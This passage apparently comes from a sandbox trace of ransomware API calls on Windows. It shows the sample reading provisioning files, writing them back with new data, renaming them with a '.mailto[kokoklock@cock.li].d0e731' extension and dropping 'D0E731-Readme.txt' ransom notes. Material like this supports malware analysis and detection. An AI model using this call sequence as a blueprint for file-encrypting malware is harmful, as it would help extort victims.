Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\" [0085.746] wcscat (in: _Dest=0x348ae78, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\D0E731-Readme.txt" [0085.746] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\prov\\runtime\\d0e731-readme.txt")) returned 0xffffffff [0085.746] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\prov\\runtime\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c4 [0085.746] WriteFile (in: hFile=0x7c4, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2debfc40, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x2debfc40*=0x481, lpOverlapped=0x0) returned 1 [0085.747] CloseHandle (hObject=0x7c4) returned 1 [0085.748] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348ae78) returned 1 [0085.748] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429cf0) returned 1 [0085.748] RtlExitUserThread (Status=0x1) Thread: id = 1317 os_tid = 0x1238 [0085.750] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\prov\\runtime\\0__power_energyestimationengine.provxml")) returned 0x20 [0085.750] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml", dwFileAttributes=0x20) returned 1 [0085.750] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\prov\\runtime\\0__power_energyestimationengine.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c4 [0085.751] GetFileSizeEx (in: hFile=0x7c4, lpFileSize=0x2df3f7fc | out: lpFileSize=0x2df3f7fc*=1648) returned 1 [0085.751] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x66c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.751] ReadFile (in: hFile=0x7c4, lpBuffer=0x2df3f7d0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2df3f7cc, lpOverlapped=0x0 | out: lpBuffer=0x2df3f7d0*, lpNumberOfBytesRead=0x2df3f7cc*=0x4, lpOverlapped=0x0) returned 1 [0085.769] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.769] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8d0 [0085.769] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dda10 [0085.769] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd858 [0085.769] NtQuerySystemTime (in: CurrentTime=0x2df3f7a8 | out: CurrentTime=0x2df3f7a8*=132121176436641849) returned 0x0 [0085.769] RtlRandom (in: Seed=0x2df3f7b4 | out: Seed=0x2df3f7b4) returned 0x7455f072 [0085.769] RtlRandom (in: Seed=0x2df3f7b4 | out: Seed=0x2df3f7b4) returned 0xa8cb5344 [0085.769] RtlRandom (in: Seed=0x2df3f7b4 | out: Seed=0x2df3f7b4) returned 0xd299cd63 [0085.769] RtlRandom (in: Seed=0x2df3f7b4 | out: Seed=0x2df3f7b4) returned 0x1e42497 [0085.769] RtlRandom (in: Seed=0x2df3f7b4 | out: Seed=0x2df3f7b4) returned 0xe336c630 [0085.770] RtlRandom (in: Seed=0x2df3f7b4 | out: Seed=0x2df3f7b4) returned 0xae9e3c6b [0085.770] RtlRandom (in: Seed=0x2df3f7b4 | out: Seed=0x2df3f7b4) returned 0x52eb5b63 [0085.770] RtlRandom (in: Seed=0x2df3f7b4 | out: Seed=0x2df3f7b4) returned 0xb2f70c73 [0085.770] RtlRandom (in: Seed=0x2df3f7b4 | out: Seed=0x2df3f7b4) returned 0x8dfeb16 [0085.770] RtlRandom (in: Seed=0x2df3f7b4 | out: Seed=0x2df3f7b4) returned 0x48e78db9 [0085.770] RtlRandom (in: Seed=0x2df3f7b4 | out: Seed=0x2df3f7b4) returned 0x76509844 [0085.770] RtlRandom (in: Seed=0x2df3f7b4 | out: Seed=0x2df3f7b4) returned 0x4ee3f799 [0085.770] RtlRandom (in: Seed=0x2df3f7b4 | out: Seed=0x2df3f7b4) returned 0xd323c80 [0085.770] RtlRandom (in: Seed=0x2df3f7b4 | out: Seed=0x2df3f7b4) returned 0xdb4c02f6 [0085.770] RtlRandom (in: Seed=0x2df3f7b4 | out: Seed=0x2df3f7b4) returned 0x2afd483a [0085.770] RtlRandom (in: Seed=0x2df3f7b4 | out: Seed=0x2df3f7b4) returned 0xed995d4e [0085.770] RtlRandom (in: Seed=0x2df3f7b4 | out: Seed=0x2df3f7b4) returned 0xea918eae [0085.770] RtlRandom (in: Seed=0x2df3f7b4 | out: Seed=0x2df3f7b4) returned 0x51be4ea3 [0085.770] RtlRandom (in: Seed=0x2df3f7b4 | out: Seed=0x2df3f7b4) returned 0x9b5632f0 [0085.770] RtlRandom (in: Seed=0x2df3f7b4 | out: Seed=0x2df3f7b4) returned 0xafdf7437 [0085.770] RtlRandom (in: Seed=0x2df3f7b4 | out: Seed=0x2df3f7b4) returned 0xb7e30ae4 [0085.770] RtlRandom (in: Seed=0x2df3f7b4 | out: Seed=0x2df3f7b4) returned 0xdf17529e [0085.770] RtlRandom (in: Seed=0x2df3f7b4 | out: Seed=0x2df3f7b4) returned 0x6ef62c29 [0085.770] RtlRandom (in: Seed=0x2df3f7b4 | out: Seed=0x2df3f7b4) returned 0xdc2c3389 [0085.770] RtlRandom (in: Seed=0x2df3f7b4 | out: Seed=0x2df3f7b4) returned 0x1f2d3d5c [0085.770] RtlRandom (in: Seed=0x2df3f7b4 | out: Seed=0x2df3f7b4) returned 0x9c6e515e [0085.770] RtlRandom (in: Seed=0x2df3f7b4 | out: Seed=0x2df3f7b4) returned 0xa0646d1b [0085.770] RtlRandom (in: Seed=0x2df3f7b4 | out: Seed=0x2df3f7b4) returned 0x9a5229d0 [0085.770] RtlRandom (in: Seed=0x2df3f7b4 | out: Seed=0x2df3f7b4) returned 0x4f52a094 [0085.770] RtlRandom (in: Seed=0x2df3f7b4 | out: Seed=0x2df3f7b4) returned 0x55efcd79 [0085.770] RtlRandom (in: Seed=0x2df3f7b4 | out: Seed=0x2df3f7b4) returned 0x89185aca [0085.770] RtlRandom (in: Seed=0x2df3f7b4 | out: Seed=0x2df3f7b4) returned 0x2676062 [0085.781] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fdf0) returned 1 [0085.781] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8d0) returned 1 [0085.781] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0085.781] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480318 [0085.781] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd970 [0085.781] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd970) returned 1 [0085.781] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0085.781] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0085.781] ReadFile (in: hFile=0x7c4, lpBuffer=0x55d8058, nNumberOfBytesToRead=0x670, lpNumberOfBytesRead=0x2df3f7a8, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesRead=0x2df3f7a8*=0x670, lpOverlapped=0x0) returned 1 [0085.781] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2df3f770 | out: lpNewFilePointer=0x0) returned 1 [0085.781] WriteFile (in: hFile=0x7c4, lpBuffer=0x34b8390*, nNumberOfBytesToWrite=0x670, lpNumberOfBytesWritten=0x2df3f7a4, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesWritten=0x2df3f7a4*=0x670, lpOverlapped=0x0) returned 1 [0085.781] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8d0 [0085.781] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd920 [0085.781] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd920) returned 1 [0085.782] WriteFile (in: hFile=0x7c4, lpBuffer=0x55dd8d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2df3f7a0, lpOverlapped=0x0 | out: lpBuffer=0x55dd8d0*, lpNumberOfBytesWritten=0x2df3f7a0*=0x20, lpOverlapped=0x0) returned 1 [0085.782] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8d0) returned 1 [0085.782] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0085.782] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0085.782] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0085.782] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0085.782] WriteFile (in: hFile=0x7c4, lpBuffer=0x55dd8a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2df3f7cc, lpOverlapped=0x0 | out: lpBuffer=0x55dd8a8*, lpNumberOfBytesWritten=0x2df3f7cc*=0x8, lpOverlapped=0x0) returned 1 [0085.782] WriteFile (in: hFile=0x7c4, lpBuffer=0x2df3f7e4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2df3f7cc, lpOverlapped=0x0 | out: lpBuffer=0x2df3f7e4*, lpNumberOfBytesWritten=0x2df3f7cc*=0x4, lpOverlapped=0x0) returned 1 [0085.782] WriteFile (in: hFile=0x7c4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2df3f7cc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2df3f7cc*=0x4, lpOverlapped=0x0) returned 1 [0085.782] WriteFile (in: hFile=0x7c4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2df3f7cc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2df3f7cc*=0x6c, lpOverlapped=0x0) returned 1 [0085.782] WriteFile (in: hFile=0x7c4, lpBuffer=0x55dda10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2df3f7cc, lpOverlapped=0x0 | out: lpBuffer=0x55dda10*, lpNumberOfBytesWritten=0x2df3f7cc*=0x20, lpOverlapped=0x0) returned 1 [0085.782] WriteFile (in: hFile=0x7c4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2df3f7cc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2df3f7cc*=0x4, lpOverlapped=0x0) returned 1 [0085.782] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dda10) returned 1 [0085.782] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd880) returned 1 [0085.782] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8a8) returned 1 [0085.782] CloseHandle (hObject=0x7c4) returned 1 [0085.783] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x14e) returned 0x34b7680 [0085.783] wcscpy (in: _Dest=0x34b7680, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" [0085.783] wcscat (in: _Dest=0x34b7680, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731" [0085.783] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\prov\\runtime\\0__power_energyestimationengine.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\prov\\runtime\\0__power_energyestimationengine.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0085.783] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0085.784] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b7680) returned 1 [0085.784] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml", dwFileAttributes=0x20) returned 0 [0085.784] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348ae78 [0085.784] wcscpy (in: _Dest=0x348ae78, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\" [0085.784] wcscat (in: _Dest=0x348ae78, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\D0E731-Readme.txt" [0085.784] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\prov\\runtime\\d0e731-readme.txt")) returned 0xffffffff [0085.784] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\prov\\runtime\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c4 [0085.784] WriteFile (in: hFile=0x7c4, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2df3f7c8, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x2df3f7c8*=0x481, lpOverlapped=0x0) returned 1 [0085.785] CloseHandle (hObject=0x7c4) returned 1 [0085.785] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348ae78) returned 1 [0085.785] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429bd8) returned 1 [0085.785] RtlExitUserThread (Status=0x1) Thread: id = 1318 os_tid = 0x1244 Thread: id = 1319 os_tid = 0x1254 [0086.646] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\130__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0086.646] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 1 [0086.646] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\130__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0086.646] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2e03fbfc | out: lpFileSize=0x2e03fbfc*=472) returned 1 [0086.646] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x1d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.647] ReadFile (in: hFile=0x3d0, lpBuffer=0x2e03fbd0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e03fbcc, lpOverlapped=0x0 | out: lpBuffer=0x2e03fbd0*, lpNumberOfBytesRead=0x2e03fbcc*=0x4, lpOverlapped=0x0) returned 1 [0086.647] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.648] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dde70 [0086.648] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddf10 [0086.648] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddd08 [0086.648] NtQuerySystemTime (in: CurrentTime=0x2e03fba8 | out: CurrentTime=0x2e03fba8*=132121176445391485) returned 0x0 [0086.648] RtlRandom (in: Seed=0x2e03fbb4 | out: Seed=0x2e03fbb4) returned 0xe60bc47f [0086.648] RtlRandom (in: Seed=0x2e03fbb4 | out: Seed=0x2e03fbb4) returned 0x4dc96172 [0086.648] RtlRandom (in: Seed=0x2e03fbb4 | out: Seed=0x2e03fbb4) returned 0xe63d88b2 [0086.648] RtlRandom (in: Seed=0x2e03fbb4 | out: Seed=0x2e03fbb4) returned 0xac68f708 [0086.648] RtlRandom (in: Seed=0x2e03fbb4 | out: Seed=0x2e03fbb4) returned 0x91369620 [0086.648] RtlRandom (in: Seed=0x2e03fbb4 | out: Seed=0x2e03fbb4) returned 0xf692505b [0086.648] RtlRandom (in: Seed=0x2e03fbb4 | out: Seed=0x2e03fbb4) returned 0x12dc9ba4 [0086.648] RtlRandom (in: Seed=0x2e03fbb4 | out: Seed=0x2e03fbb4) returned 0x8613284e [0086.648] RtlRandom (in: Seed=0x2e03fbb4 | out: Seed=0x2e03fbb4) returned 0xefe0490d [0086.648] RtlRandom (in: Seed=0x2e03fbb4 | out: Seed=0x2e03fbb4) returned 0x83a42bbc [0086.648] RtlRandom (in: Seed=0x2e03fbb4 | out: Seed=0x2e03fbb4) returned 0xfe7eb6c6 [0086.648] RtlRandom (in: Seed=0x2e03fbb4 | out: Seed=0x2e03fbb4) returned 0x48b1e309 [0086.648] RtlRandom (in: Seed=0x2e03fbb4 | out: Seed=0x2e03fbb4) returned 0x1eec1c0 [0086.648] RtlRandom (in: Seed=0x2e03fbb4 | out: Seed=0x2e03fbb4) returned 0xfd289de4 [0086.648] RtlRandom (in: Seed=0x2e03fbb4 | out: Seed=0x2e03fbb4) returned 0x926e14e5 [0086.648] RtlRandom (in: Seed=0x2e03fbb4 | out: Seed=0x2e03fbb4) returned 0x7091e959 [0086.648] RtlRandom (in: Seed=0x2e03fbb4 | out: Seed=0x2e03fbb4) returned 0x6c9983d8 [0086.648] RtlRandom (in: Seed=0x2e03fbb4 | out: Seed=0x2e03fbb4) returned 0xa5f1915e [0086.648] RtlRandom (in: Seed=0x2e03fbb4 | out: Seed=0x2e03fbb4) returned 0x48a0dcd5 [0086.648] RtlRandom (in: Seed=0x2e03fbb4 | out: Seed=0x2e03fbb4) returned 0xd2da973f [0086.648] RtlRandom (in: Seed=0x2e03fbb4 | out: Seed=0x2e03fbb4) returned 0xb199434a [0086.648] RtlRandom (in: Seed=0x2e03fbb4 | out: Seed=0x2e03fbb4) returned 0x74b3cd40 [0086.648] RtlRandom (in: Seed=0x2e03fbb4 | out: Seed=0x2e03fbb4) returned 0x2299755f [0086.648] RtlRandom (in: Seed=0x2e03fbb4 | out: Seed=0x2e03fbb4) returned 0x5d53e104 [0086.648] RtlRandom (in: Seed=0x2e03fbb4 | out: Seed=0x2e03fbb4) returned 0x63b0b214 [0086.648] RtlRandom (in: Seed=0x2e03fbb4 | out: Seed=0x2e03fbb4) returned 0x84007e1b [0086.648] RtlRandom (in: Seed=0x2e03fbb4 | out: Seed=0x2e03fbb4) returned 0x402bed08 [0086.648] RtlRandom (in: Seed=0x2e03fbb4 | out: Seed=0x2e03fbb4) returned 0xfc7c761b [0086.648] RtlRandom (in: Seed=0x2e03fbb4 | out: Seed=0x2e03fbb4) returned 0xe6eb6623 [0086.648] RtlRandom (in: Seed=0x2e03fbb4 | out: Seed=0x2e03fbb4) returned 0x72026ccf [0086.648] RtlRandom (in: Seed=0x2e03fbb4 | out: Seed=0x2e03fbb4) returned 0xefc0a49b [0086.648] RtlRandom (in: Seed=0x2e03fbb4 | out: Seed=0x2e03fbb4) returned 0xf504b889 [0086.659] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x1d8, lpNumberOfBytesRead=0x2e03fba8, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2e03fba8*=0x1d8, lpOverlapped=0x0) returned 1 [0086.659] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e03fb70 | out: lpNewFilePointer=0x0) returned 1 [0086.659] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x1d8, lpNumberOfBytesWritten=0x2e03fba4, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2e03fba4*=0x1d8, lpOverlapped=0x0) returned 1 [0086.659] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dde70 [0086.659] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddec0 [0086.660] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddec0) returned 1 [0086.660] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dde70*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2e03fba0, lpOverlapped=0x0 | out: lpBuffer=0x55dde70*, lpNumberOfBytesWritten=0x2e03fba0*=0x20, lpOverlapped=0x0) returned 1 [0086.660] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dde70) returned 1 [0086.660] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0086.660] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0086.660] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0086.660] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0086.660] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dde98*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e03fbcc, lpOverlapped=0x0 | out: lpBuffer=0x55dde98*, lpNumberOfBytesWritten=0x2e03fbcc*=0x8, lpOverlapped=0x0) returned 1 [0086.660] WriteFile (in: hFile=0x3d0, lpBuffer=0x2e03fbe4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e03fbcc, lpOverlapped=0x0 | out: lpBuffer=0x2e03fbe4*, lpNumberOfBytesWritten=0x2e03fbcc*=0x4, lpOverlapped=0x0) returned 1 [0086.660] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e03fbcc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2e03fbcc*=0x4, lpOverlapped=0x0) returned 1 [0086.660] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2e03fbcc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2e03fbcc*=0x6c, lpOverlapped=0x0) returned 1 [0086.661] WriteFile (in: hFile=0x3d0, lpBuffer=0x55ddf10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2e03fbcc, lpOverlapped=0x0 | out: lpBuffer=0x55ddf10*, lpNumberOfBytesWritten=0x2e03fbcc*=0x20, lpOverlapped=0x0) returned 1 [0086.661] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e03fbcc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2e03fbcc*=0x4, lpOverlapped=0x0) returned 1 [0086.661] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddf10) returned 1 [0086.661] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddd30) returned 1 [0086.661] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dde98) returned 1 [0086.661] CloseHandle (hObject=0x3d0) returned 1 [0086.661] 